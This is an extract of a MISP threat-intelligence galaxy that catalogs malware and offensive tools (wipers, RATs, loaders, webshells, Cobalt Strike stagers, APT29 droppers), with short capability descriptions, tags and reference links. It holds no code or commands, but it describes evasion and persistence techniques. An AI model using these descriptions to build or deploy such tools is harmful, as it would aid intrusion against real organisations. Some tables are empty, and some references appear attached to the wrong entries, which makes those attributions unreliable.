NBTScan is a program for scanning IP networks for NetBIOS name information (similar to what the Windows nbtstat tool provides against single hosts). It sends a NetBIOS status query to each address in a supplied range and lists received information in human readable form. For each responded host it lists IP address, NetBIOS computer name, logged-in user name and MAC address.

The tag is: `misp-galaxy:tool="NBTScan"

PowerGhost

PowerGhost is capable of stealthily establishing itself in a system and spreading across large corporate networks infecting both workstations and servers. This type of hidden consolidation is
typical of miners: the more machines that get infected and the longer they remain that way, the
greater the attacker's profits. Therefore, it's not uncommon to see clean software being infected
with a miner; the popularity of the legitimate software serves to promote the malware's
proliferation. The creators of PowerGhost, however, went further and started using fileless
techniques to establish the illegal miner within the victim system.

The tag is: misp-galaxy:tool="PowerGhost"

Table 12081. Table References

Links
https://securelist.com/a-mining-multitool/86950/

VBEtaly

Check Point researchers have found another wave of the Ursnif malspam campaign targeting Italy.
Only a few details are known so far but what we have found is that the file delivered is a VBE file
(encoded VBS) named “SCANSIONE.vbe” and is delivered via ZIP attachments in emails with the
subject suggesting different documents in Italian.

The tag is: misp-galaxy:tool="VBEtaly"

Table 12082. Table References

Links
https://research.checkpoint.com/vbetaly/

ZeroCleare

ZeroCleare was used to execute a destructive attack that affected organizations in the energy and
industrial sectors in the Middle East. Based on the analysis of the malware and the attackers’
behavior, we suspect Iran-based nation state adversaries were involved to develop and deploy this
new wiper.

The tag is: misp-galaxy:tool="ZeroCleare"

View relationships graph

ZeroCleare has relationships with:

- similar: misp-galaxy:malpedia="ZeroCleare" with estimative-language:likelihood-
  probability="almost-certain"

Table 12083. Table References

Links
https://www.ibm.com/downloads/cas/OAJ4VZNJ
Dustman

At the heart of the recent Bapco attack is a new strain of malware named Dustman. According to an analysis by Saudi Arabia’s cyber-security agency, Dustman is a so-called data wiper — malware designed to delete data on infected computers, once launched into execution. Dustman represents the third different data-wiping malware linked to the Tehran regime. Iranian state-backed hackers have a long history of developing data-wiping malware.

The tag is: misp-galaxy:tool="Dustman"

View relationships graph

Dustman has relationships with:

• similar: misp-galaxy:malpedia="DUSTMAN" with estimative-language:likelihood-probability="almost-certain"

Table 12084. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://mobile.twitter.com/IntezerLabs/status/1215252764080644098">https://mobile.twitter.com/IntezerLabs/status/1215252764080644098</a></td>
</tr>
</tbody>
</table>

Autochk Rootkit

This rootkit is a very simple. The name of the driver is “autochk.sys” - that's why we'll call it the autochk rootkit. The rootkit implements 2 functionalities: File Redirection and Network Connection Hiding.

The tag is: misp-galaxy:tool="Autochk Rootkit"

Table 12085. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://repnz.github.io/posts/autochk-rootkit-analysis/">https://repnz.github.io/posts/autochk-rootkit-analysis/</a></td>
</tr>
</tbody>
</table>

Lampion

New trojan called Lampion has spread using template emails from the Portuguese Government Finance & Tax during the last days of 2019.

The tag is: misp-galaxy:tool="Lampion"

View relationships graph

Lampion has relationships with:

• similar: misp-galaxy:malpedia="lampion" with estimative-language:likelihood-probability="almost-certain"

Table 12086. Table References
LiquorBot

Bitdefender researchers tracked the development of a Mirai-inspired botnet, dubbed LiquorBot, which seems to be actively in development and has recently incorporated Monero cryptocurrency mining features.

The tag is: misp-galaxy:tool="LiquorBot"

View relationships graph

LiquorBot has relationships with:

- similar: misp-galaxy:malpedia="LiquorBot" with estimative-language:likelihood-probability="almost-certain"

Gelup malware tool

Written in C++ and designed to function as a downloader of other malware, Gelup stood out for its obfuscation techniques. Gelup can also bypass User Account Control (UAC) by mocking trusted directories, abusing auto-elevated executables and using the Dynamic Link Library (DLL) side-loading technique.

The tag is: misp-galaxy:tool="Gelup malware tool"

Gelup malware tool is also known as:

- AndroMut

DenesRAT

DenesRAT is a private Trojan horse of the "Sea Lotus" organization, which can perform corresponding functions according to the instructions issued by the C2 server. The main functions
are file operations, such as creating files or directories, deleting files or directories, finding files; registry reading and writing; remote code execution, such as creating processes, executing DLLs, etc.

The tag is: *misp-galaxy:tool="DenesRAT"

DenesRAT is also known as:

- METALJACK

*Table 12089. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

**Sedkit**

Sednit’s Exploit-Kit

The tag is: *misp-galaxy:tool="Sedkit"

Sedkit is also known as:

*Table 12090. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.welivesecurity.com/2014/10/08/sednit-espionage-group-now-using-custom-exploit-kit/">https://www.welivesecurity.com/2014/10/08/sednit-espionage-group-now-using-custom-exploit-kit/</a></td>
</tr>
</tbody>
</table>

**Covenant**

Covenant is a .NET command and control framework that aims to highlight the attack surface of .NET, make the use of offensive .NET tradecraft easier, and serve as a collaborative command and control platform for red teamers.

The tag is: *misp-galaxy:tool="Covenant"

Covenant is also known as:

*Table 12091. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/cobbr/Covenant/">https://github.com/cobbr/Covenant/</a></td>
</tr>
</tbody>
</table>
**Cobalt Strike**

Cobalt Strike is a post-exploitation framework.

The tag is: `misp-galaxy:tool="Cobalt Strike"`

Cobalt Strike is also known as:

View relationships graph

Cobalt Strike has relationships with:

- similar: `misp-galaxy:malpedia="Cobalt Strike"` with `estimative-language:likelihood-probability="almost-certain"`

**metasploit**

METASPLOIT is a penetration testing framework whose features include vulnerability testing, network enumeration, payload generation and execution, and defense evasion. Availability: Public

The tag is: `misp-galaxy:tool="metasploit"`

metasploit is also known as:

**CrackMapExec**

A swiss army knife for pentesting networks.

The tag is: `misp-galaxy:tool="CrackMapExec"`

CrackMapExec is also known as:

Links
https://www.cobaltstrike.com

Links
https://www.metasploit.com
https://mandiant.widen.net/s/zvmfw5fnjs/apt43-report

Links
https://github.com/byt3bl33d3r/CrackMapExec
**WellMess**

Wellmess is a Remote Access Trojan written in Golang and also have a .NET version

The tag is: `misp-galaxy:tool="WellMess"`

WellMess is also known as:

View relationships graph

WellMess has relationships with:

- similar: `misp-galaxy:malpedia="WellMess"` with `estimative-language:likelihood-probability="almost-certain"`

**Table 12095. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

**WellMail**

WellMail is a lightweight tool designed to run commands or scripts with the results being sent to a hardcoded Command and Control (C2) server.

The tag is: `misp-galaxy:tool="WellMail"`

WellMail is also known as:

View relationships graph

WellMail has relationships with:

- similar: `misp-galaxy:malpedia="WellMail"` with `estimative-language:likelihood-probability="almost-certain"`

**Table 12096. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

**Drovorub**

Drovorub is a Linux malware toolset consisting of an implant coupled with a kernel module rootkit, a file transfer and port forwarding tool, and a Command and Control (C2) server.
The tag is: *misp-galaxy:tool="Drovorub"

Drovorub is also known as:

*Table 12097. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://media.defense.gov/2020/Aug/13/2002476465/-1/-1/0/CSA_DROVORUB_RUSSIAN_GRU_MALWARE_AUG_2020.PDF">https://media.defense.gov/2020/Aug/13/2002476465/-1/-1/0/CSA_DROVORUB_RUSSIAN_GRU_MALWARE_AUG_2020.PDF</a></td>
</tr>
</tbody>
</table>

**IsErIk**

The adware DealPly (sometimes also referred to as IsErIk) and malicious Chrome extension ManageX, for instance, can come bundled under the guise of a legitimate installer and other potentially unwanted applications (PUAs). Because various write-ups cover Dealply or IsErik separately, the technical discussion and representation of both are discussed separately.

The tag is: *misp-galaxy:tool="IsErIk"

IsErIk is also known as:

- DealPly
- ManageX

*Table 12098. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

**Vatet**

Attackers often shift infrastructure, techniques, and tools to avoid notoriety that might attract law enforcement or security researchers. They often retain them while waiting for security organizations to start considering associated artifacts inactive, so they face less scrutiny. Vatet, a custom loader for the Cobalt Strike framework that has been seen in ransomware campaigns as early as November 2018, is one of the tools that has resurfaced in the recent campaigns.

The tag is: *misp-galaxy:tool="Vatet"

*Table 12099. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>
**ConfuserEx**

ConfuserEx is a common .NET packer/protector used to obfuscate .NET assemblies and confuse the decompilation process. According to the official site: ConfuserEx is an free, open-source protector for .NET applications. It is the successor of Confuser project. ConfuserEx supports .NET Framework from 2.0 - 4.5 and Mono (and other .NET platforms if enough request!). It supports most of the protections you’ll find in commercial protectors, and some more!

The tag is: *misp-galaxy:tool="ConfuserEx"*

**Table 12100. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://yck1509.github.io/ConfuserEx/">https://yck1509.github.io/ConfuserEx/</a></td>
</tr>
</tbody>
</table>

**Beds Protector**

Beds Protector is a common .NET packer/protector. It is a mod of ConfuserEx, which is another common .NET packer/protector. It is commonly used to obfuscate .NET assemblies and confuse the decompilation process. The latest available version is Beds Protector v1.4.1

The tag is: *misp-galaxy:tool="Beds Protector"*

**Table 12101. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

**HyperBro**

HyperBro Trojan was used as last-stage in-memory remote administration tool (RAT).

The tag is: *misp-galaxy:tool="HyperBro"*

**View relationships graph**

HyperBro has relationships with:

- similar: *misp-galaxy:malpedia="HyperBro"* with *estimative-language:likelihood-probability="almost-certain"*

**Table 12102. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>
**SUNSPOT**

SUNSPOT is StellarParticle’s malware used to insert the SUNBURST backdoor into software builds of the SolarWinds Orion IT management product.

The tag is: *misp-galaxy:tool="SUNSPOT"*

**Caterpillar WebShell**

The tag is: *misp-galaxy:tool="Caterpillar WebShell"*

**P.A.S. webshell**

The P.A.S. webshell was developed by an ukrainian student, Jaroslav Volodimirovich Panchenko, who used the nick-name Profexer. It was developed in PHP and features a characteristic password-based encryption. This tool was available through a form on his website, where a user had to provide a password to receive a custom webshell. The form suggested a donation to the developer. It was commonly used, including during a WORDPRESS website attack.

The tag is: *misp-galaxy:tool="P.A.S. webshell"*

P.A.S. webshell is also known as:

- Fobushell

**Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.crowdstrike.com/blog/sunspot-malware-technical-analysis/">https://www.crowdstrike.com/blog/sunspot-malware-technical-analysis/</a></td>
</tr>
<tr>
<td><a href="https://www.clearskysec.com/cedar/">https://www.clearskysec.com/cedar/</a></td>
</tr>
</tbody>
</table>
Exaramel

Exaramel is a backdoor first publicly reported by ESET in 2018. Two samples were identified, one targeting the WINDOWS operating system and the other targeting LINUX operating systems.

The tag is: misp-galaxy:tool="Exaramel"

Table 12106. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

RDAT

RDAT is a backdoor used by the suspected Iranian threat group OilRig. RDAT was originally identified in 2017 and targeted companies in the telecommunications sector.

The tag is: misp-galaxy:tool="RDAT"

View relationships graph

RDAT has relationships with:

- similar: misp-galaxy:malpedia="RDAT" with estimative-language:likelihood-probability="almost-certain"

Table 12107. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://unit42.paloaltonetworks.com/oilrig-novel-c2-channel-steganography/">https://unit42.paloaltonetworks.com/oilrig-novel-c2-channel-steganography/</a></td>
</tr>
</tbody>
</table>

TEARDROP

Loader used in hands-on-keyboard techniques that attackers employed on compromised endpoints using a powerful second-stage payload, one of several custom Cobalt Strike loaders.

The tag is: misp-galaxy:tool="TEARDROP"

View relationships graph

TEARDROP has relationships with:

- used-by: misp-galaxy:microsoft-activity-group="NOBELIUM" with estimative-language:likelihood-probability="likely"
- variant-of: misp-galaxy:tool="Raindrop" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="TEARDROP" with estimative-language:likelihood-
GoldMax

Written in Go, GoldMax acts as command-and-control backdoor for the actor. It uses several different techniques to obfuscate its actions and evade detection. The malware writes an encrypted configuration file to disk, where the file name and AES-256 cipher keys are unique per implant and based on environmental variables and information about the network where it is running. GoldMax establishes a secure session key with its C2 and uses that key to securely communicate with the C2, preventing non-GoldMax-initiated connections from receiving and identifying malicious traffic. The C2 can send commands to be launched for various operations, including native OS commands, via pseudo-randomly generated cookies. The hardcoded cookies are unique to each implant, appearing to be random strings but mapping to victims and operations on the actor side.

The tag is: `misp-galaxy:tool="GoldMax"`

View relationships graph

GoldMax has relationships with:

- **used-by**: `misp-galaxy:microsoft-activity-group="NOBELIUM"` with estimative-language:likelihood-probability="likely"
- **similar**: `misp-galaxy:malpedia="GoldMax"` with estimative-language:likelihood-probability="almost-certain"

Raindrop

Loader used in hands-on-keyboard techniques that attackers employed on compromised endpoints using a powerful second-stage payload, one of several custom Cobalt Strike loaders.

The tag is: `misp-galaxy:tool="Raindrop"`
GoldFinder

Tool written in Go, GoldFinder was most likely used as a custom HTTP tracer tool that logs the route or hops that a packet takes to reach a hardcoded C2 server. When launched, the malware issues an HTTP request for a hardcoded IP address (e.g., hxxps://185[.][225[.][69[.][69/]) and logs the HTTP response to a plaintext log file (e.g., loglog.txt created in the present working directory). GoldFinder uses the following hardcoded labels to store the request and response information in the log file:

The tag is: misp-galaxy:tool="GoldFinder"

Sibot

Sibot is a dual-purpose malware implemented in VBScript. It is designed to achieve persistence on the infected machine then download and execute a payload from a remote C2 server. The VBScript file is given a name that impersonates legitimate Windows tasks and is either stored in the registry of the compromised system or in an obfuscated format on disk. The VBScript is then run via a scheduled task.
Matanbuchus

Matanbuchus is a loader promoted by BelialDemon. It can launch an EXE or DLL file in memory, leverage schtasks.exe to add or modify task schedules, and launch custom PowerShell commands, among other capabilities. Attackers use a Microsoft Excel document as the initial vector to drop the Matanbuchus Loader DLL.

The tag is: `misp-galaxy:tool="Matanbuchus"`

View relationships graph

Matanbuchus has relationships with:

- similar: `misp-galaxy:malpedia="Matanbuchus"` with `estimative-language:likelihood-probability="almost-certain"`

Table 12113. Table References

Links

https://unit42.paloaltonetworks.com/matanbuchus-malware-as-a-service/

BLUELIGHT

It is likely that BLUELIGHT is used as a secondary payload following successful delivery of Cobalt Strike.

The tag is: `misp-galaxy:tool="BLUELIGHT"`

Table 12114. Table References

Links

**ESPecter bootkit**

ESET researchers have analyzed a previously undocumented, real-world UEFI bootkit that persists on the EFI System Partition (ESP). The bootkit, which we've named ESPecter, can bypass Windows Driver Signature Enforcement to load its own unsigned driver, which facilitates its espionage activities. Alongside Kaspersky’s recent discovery of the unrelated FinSpy bootkit, it is now safe to say that real-world UEFI threats are no longer limited to SPI flash implants, as used by Lojax.

The tag is: `misp-galaxy:tool="ESPecter bootkit"`

**Table 12115. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.welivesecurity.com/2021/10/05/uefi-threats-moving-esp-introducing-especter-bootkit/">https://www.welivesecurity.com/2021/10/05/uefi-threats-moving-esp-introducing-especter-bootkit/</a></td>
</tr>
<tr>
<td><a href="https://github.com/eset/malware-ioc/tree/master/especter">https://github.com/eset/malware-ioc/tree/master/especter</a></td>
</tr>
</tbody>
</table>

**Shark**

Shark is a 32-bit executable written in C# and .NET. To run Shark, a parameter is passed on the command line that includes the executable's filename. Shark generates a mutex that uses the executable's filename as the mutex value. The mutex likely ensures Shark does not execute on a machine where it is already running and that the correct version of Shark is executed.

The tag is: `misp-galaxy:tool="Shark"`

**View relationships graph**

Shark has relationships with:

- similar: `misp-galaxy:malpedia="Shark"` with `estimative-language:likelihood-probability="almost-certain"`

**Motnug**

Motnug is a simple shellcode loader that is used to load and execute shellcode located either in its overlay or in a separate file stored on disk.

The tag is: `misp-galaxy:tool="Motnug"`

**Table 12117. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.welivesecurity.com/2021/08/24/sidewalk-may-be-as-dangerous-as-crosswalk/">https://www.welivesecurity.com/2021/08/24/sidewalk-may-be-as-dangerous-as-crosswalk/</a></td>
</tr>
</tbody>
</table>
BadPotato

BadPotato leaks a system token handle through the MS RPN API, which can be used to get NT AUTHORITY\SYSTEM access.

The tag is: misp-galaxy:tool="BadPotato"

Table 12118. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/BeichenDream/BadPotato">https://github.com/BeichenDream/BadPotato</a></td>
</tr>
<tr>
<td><a href="https://www.mandiant.com/resources/apt41-us-state-governments">https://www.mandiant.com/resources/apt41-us-state-governments</a></td>
</tr>
<tr>
<td><a href="https://thehackernews.com/2021/06/chinese-hackers-believed-to-be-behind.html">https://thehackernews.com/2021/06/chinese-hackers-believed-to-be-behind.html</a></td>
</tr>
<tr>
<td><a href="https://blog.group-ib.com/columnmtk_apt41">https://blog.group-ib.com/columnmtk_apt41</a></td>
</tr>
</tbody>
</table>

Microcin

A simple RAT used by Vicious Panda

The tag is: misp-galaxy:tool="Microcin"

Microcin is also known as:

- Mikroceen

View relationships graph

Microcin has relationships with:

- similar: misp-galaxy:malpedia="Microcin" with estimative-language:likelihood-probability="almost-certain"

Table 12119. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://securelist.com/microcin-is-here/97353">https://securelist.com/microcin-is-here/97353</a></td>
</tr>
<tr>
<td><a href="https://securelist.com/a-simple-example-of-a-complex-cyberattack/82636">https://securelist.com/a-simple-example-of-a-complex-cyberattack/82636</a></td>
</tr>
<tr>
<td><a href="https://www.welivesecurity.com/2020/05/14/mikroceen-spying-backdoor-high-profile-networks-central-asia">https://www.welivesecurity.com/2020/05/14/mikroceen-spying-backdoor-high-profile-networks-central-asia</a></td>
</tr>
<tr>
<td><a href="https://research.checkpoint.com/2020/vicious-panda-the-covid-campaign">https://research.checkpoint.com/2020/vicious-panda-the-covid-campaign</a></td>
</tr>
</tbody>
</table>
Esile

The Esile campaign was named after certain strings found in the unpacked malware file that it sends out. All of the malware related to this campaign are detected as BKDR_ESILE variants.

The tag is: `misp-galaxy:tool="Esile"`

Esile is also known as:

- BKDR_ESILE

View relationships graph

Esile has relationships with:

- used-by: `misp-galaxy:threat-actor="LOTUS PANDA"` with `estimative-language:likelihood-probability="likely"`

Table 12120. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

MOUSEISLAND

MOUSEISLAND is a Microsoft Word macro downloader used as the first infection stage and is delivered inside a password-protected zip attached to a phishing email (Figure 2). Based on our intrusion data from responding to ICEDID related incidents, the secondary payload delivered by MOUSEISLAND has been PHOTOLOADER, which acts as an intermediary downloader to install ICEDID. Mandiant attributes the MOUSEISLAND distribution of PHOTOLOADER and other payloads to UNC2420, a distribution threat cluster created by Mandiant’s Threat Pursuit team. UNC2420 activity shares overlaps with the publicly reported nomenclature of “Shathak” or “TA551”.

The tag is: `misp-galaxy:tool="MOUSEISLAND"`

View relationships graph

MOUSEISLAND has relationships with:

- similar: `misp-galaxy:malpedia="MOUSEISLAND"` with `estimative-language:likelihood-probability="almost-certain"`

Table 12121. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.mandiant.com/resources/blog/melting-unc2198-icedid-to-ransomware-operations">https://www.mandiant.com/resources/blog/melting-unc2198-icedid-to-ransomware-operations</a></td>
</tr>
</tbody>
</table>
GootLoader

GootLoader is a malware loader historically associated with the GootKit malware. As its developers updated its capabilities, GootLoader has evolved from a loader downloading a malicious payload into a multi-payload malware platform. As a loader malware, GootLoader is usually the first-stage of a system compromise. By leveraging search engine poisoning, GootLoader’s developers may compromise or create websites that rank highly in search engine results, such as Google search results. How is it delivered? Via Malicious files available for download on compromised websites that rank high as search engine results.

The tag is: `misp-galaxy:tool="GootLoader"`

View relationships graph

GootLoader has relationships with:

- similar: `misp-galaxy:malpedia="GootLoader"` with `estimative-language:likelihood-probability="almost-certain"`

Table 12122. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

BumbleBee

BumbleBee is a modular backdoor that comprises two applications, a server and a client application (a master and slave application, respectively in the malware’s jargon). Once the client application is deployed on the target computer (these are commonly local government devices), threat actors can control the machine using the server module. Let us take a deeper look into this backdoor.

The tag is: `misp-galaxy:tool="BumbleBee"`

View relationships graph

BumbleBee has relationships with:

- related-to: `misp-galaxy:exploit-kit="Hunter"` with `estimative-language:likelihood-probability="likely"`
- similar: `misp-galaxy:malpedia="BumbleBee"` with `estimative-language:likelihood-probability="almost-certain"`

Table 12123. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>
Chisel

Chisel is a fast TCP/UDP tunnel, transported over HTTP, secured via SSH. Single executable including both client and server. Written in Go (golang). Chisel is mainly useful for passing through firewalls, though it can also be used to provide a secure endpoint into your network. Benign in itself, but used by threat actors.

The tag is: misp-galaxy:tool="Chisel"

Table 12124. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/jpillora/chisel">https://github.com/jpillora/chisel</a></td>
</tr>
</tbody>
</table>

SharPyShell

SharPyShell - tiny and obfuscated ASP.NET webshell for C# web applications

The tag is: misp-galaxy:tool="SharPyShell"

Table 12125. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/antonioCoco/SharPyShell">https://github.com/antonioCoco/SharPyShell</a></td>
</tr>
</tbody>
</table>

Raspberry Robin

Raspberry Robin has evolved from being a widely distributed worm with no observed post-infection actions when Red Canary first reported it in May 2022, to one of the largest malware distribution platforms currently active.

The tag is: misp-galaxy:tool="Raspberry Robin"

View relationships graph

Raspberry Robin has relationships with:

- similar: misp-galaxy:malpedia="Raspberry Robin" with estimative-language:likelihood-probability="almost-certain"

Table 12126. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td></td>
</tr>
</tbody>
</table>
**Fauppod**

The Fauppod malware delivers a JavaScript backdoor to gain unauthorized access to the target system and deploy additional malware.

The tag is: *misp-galaxy:tool="Fauppod"

**Truebot**

This threat takes multiple screenshots of your desktop. It saves all screenshots in a .dat file that becomes a collection of bitmap images. According to Group-IB, FlawedAmmyy.downloader and Truebot would have been developed by the same individual

The tag is: *misp-galaxy:tool="Truebot"

Truebot is also known as:

- Silence

**FakeUpdates**

FAKEUPDATES is a downloader written in JavaScript that communicates via HTTP. Supported payload types include executables and JavaScript. It writes the payloads to disk prior to launching them. FAKEUPDATES has led to further compromise via additional malware families that include CTHONIC, DRIDEX, EMPIRE, KOADIC, DOPPELPAYER, and AZORULT. FAKEUPDATES has been heavily used by UNC1543, a financially motivated group.

SocGholish, first appearing in late 2017 and rising to prominence in mid-2018, has been used to
describe both the web drive-by download network used to infect victims and the JavaScript-based loader malware that targets Windows systems.

The tag is: `misp-galaxy:tool="FakeUpdates"`

FakeUpdates is also known as:

- FakeUpdate
- SocGholish

View relationships graph

FakeUpdates has relationships with:

- used-by: `misp-galaxy:threat-actor="GOLD PRELUDE"` with `estimative-language:likelihood-probability="likely"`
- similar: `misp-galaxy:malpedia="FAKEUPDATES"` with `estimative-language:likelihood-probability="almost-certain"`

**Table 12129. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.secureworks.com/research/threat-profiles/gold-prelude">https://www.secureworks.com/research/threat-profiles/gold-prelude</a></td>
</tr>
</tbody>
</table>

**TgToxic**

Banking trojan named TgToxic (detected by Trend Micro as AndroidOS_TgToxic based on its special encrypted filename) embedded in multiple fake apps.

The tag is: `misp-galaxy:tool="TgToxic"`

**Table 12130. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

**WasabiSeed**

According to Proofpoint, WasabiSeed is a simple VBS downloader which repeatedly uses Windows Installer to connect to the C2 server looking for MSI packages to download and run. Proofpoint showed that it downloads and executes first a second MSI file containing Screenshooter.
The tag is: `misp-galaxy:tool="WasabiSeed"`

**View relationships graph**

WasabiSeed has relationships with:

- similar: `misp-galaxy:tool="SunSeed"` with `estimative-language:likelihood-probability="likely"`

---

### Screenshotter

According to Proofpoint, this is a utility with a single function of taking a JPG screenshot of the user’s desktop and submitting it to a remote C2 via a POST to a hardcoded IP address. This is helpful to the threat actor during the reconnaissance and victim profiling stage.

The tag is: `misp-galaxy:tool="Screenshotter"`

---

### SunSeed

According to Proofpoint, this is a Lua-based malware likely used by a nation-state sponsored attacker used to target European government personnel involved in managing the logistics of refugees fleeing Ukraine.

The tag is: `misp-galaxy:tool="SunSeed"`

---
AHK Bot

According to Proofpoint, the A(uto)H(ot)K(key) Bot is a collection of separate AutoHotKey scripts. The bot's main component is an infinite loop that polls and downloads additional AHK scripts. The bot can load a stealer like Rhadamanthys and can check if the machine is part of an Active Directory domain.

The tag is: *misp-galaxy:tool="AHK Bot"

Table 12134. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://research.checkpoint.com/2019/finteam-trojanized-teamviewer-against-government-targets/">https://research.checkpoint.com/2019/finteam-trojanized-teamviewer-against-government-targets/</a></td>
</tr>
</tbody>
</table>

SNOWYAMBER

A tool first used in October 2022, abusing the Notion service to communicate and download further malicious files. Two versions of this tool have been observed.

SNOWYAMBER is a dropper that was used in an espionage campaign significantly overlapping with publicly described activity linked to the APT29 and NOBELIUM activity sets. SNOWYAMBER abuses the NOTION collaboration service as a communication channel. It does not contain any other capabilities aside from downloading and executing 2nd stage. To bypass security products, SNOWYAMBER uses several antidetection and obfuscation techniques, including string encryption, dynamic API resolving, EDR/AV unhooking, and direct syscalls.

The tag is: *misp-galaxy:tool="SNOWYAMBER"

View relationships graph

SNOWYAMBER has relationships with:

- used-by: misp-galaxy:threat-actor="APT29" with estimative-language:likelihood-probability="likely"
- used-by: misp-galaxy:microsoft-activity-group="NOBELIUM" with estimative-language:likelihood-probability="likely"
- used-by: misp-galaxy:threat-actor="UNC2452" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:online-service="Notion" with estimative-language:likelihood-probability="likely"
HALFRIG

Used for the first time in February 2023. This tool is distinguished from the others by the embedded code that runs the COBALT STRIKE tool.

HALFRIG is a stager for CobaltStrike Beacon that was used in an espionage campaign significantly overlapping with publicly described activity linked to the APT29 and NOBELIUM activity sets. HALFRIG has significant code overlap with the QUARTERRIG and it is highly probable that it was developed by the same team.

The tag is: misp-galaxy:tool="HALFRIG"

View relationships graph

HALFRIG has relationships with:

- used-by: misp-galaxy:threat-actor="APT29" with estimative-language:likelihood-probability="likely"
- used-by: misp-galaxy:microsoft-activity-group="NOBELIUM" with estimative-language:likelihood-probability="likely"
- used-by: misp-galaxy:threat-actor="UNC2452" with estimative-language:likelihood-probability="likely"

QUARTERRIG

A tool first used in March 2023, sharing part of the code with HALFRIG. Two versions of this tool were observed.

QUARTERRIG is a dropper that was used in an espionage campaign significantly overlapping with publicly described activity linked to the APT29 and NOBELIUM activity sets. QUARTERRIG does not contain any other capabilities aside from downloading and executing 2nd stage. To bypass security products, QUARTERRIG heavily relies on obfuscation based on opaque predicates and multi-stage
execution, interweaving shellcode and PE files. HALFRIG and QUARTERRIG share some of the codebase, suggesting that QUARTERRIG authors have access to both HALFRIG source code and the same obfuscation libraries.

The tag is: *misp-galaxy:tool="QUARTERRIG"*

**View relationships graph**

QUARTERRIG has relationships with:

- used-by: *misp-galaxy:threat-actor="APT29"* with *estimative-language:likelihood-probability="likely"
- used-by: *misp-galaxy:microsoft-activity-group="NOBELIUM"* with *estimative-language:likelihood-probability="likely"
- used-by: *misp-galaxy:threat-actor="UNC2452"* with *estimative-language:likelihood-probability="likely"

*Table 12137. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.gov.pl/attachment/6f51bb1a-3ad2-461c-a16d-408915a56f77">https://www.gov.pl/attachment/6f51bb1a-3ad2-461c-a16d-408915a56f77</a></td>
</tr>
<tr>
<td><a href="https://www.gov.pl/attachment/6e085a2c-ac05-4b62-9423-5d6e9ef730bf">https://www.gov.pl/attachment/6e085a2c-ac05-4b62-9423-5d6e9ef730bf</a></td>
</tr>
</tbody>
</table>

**ICONICSTEALER**

ICONICSTEALER is a C/C++ data miner that collects application configuration data as well as browser history.

The tag is: *misp-galaxy:tool="ICONICSTEALER"*

*Table 12138. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.mandiant.com/resources/blog/3cx-software-supply-chain-compromise">https://www.mandiant.com/resources/blog/3cx-software-supply-chain-compromise</a></td>
</tr>
</tbody>
</table>

**DAVESHELL**

DAVESHELL is shellcode that functions as an in-memory dropper. Its embedded payload is mapped into memory and executed.

The tag is: *misp-galaxy:tool="DAVESHELL"*

*Table 12139. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.mandiant.com/resources/blog/3cx-software-supply-chain-compromise">https://www.mandiant.com/resources/blog/3cx-software-supply-chain-compromise</a></td>
</tr>
</tbody>
</table>
**SIGFLIP**

SigFlip is a tool for patching authenticode signed PE-COFF files to inject arbitrary code without affecting or breaking the file's signature.

The tag is: *misp-galaxy:tool="SIGFLIP"*

**Table 12140. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.mandiant.com/resources/blog/3cx-software-supply-chain-compromise">https://www.mandiant.com/resources/blog/3cx-software-supply-chain-compromise</a></td>
</tr>
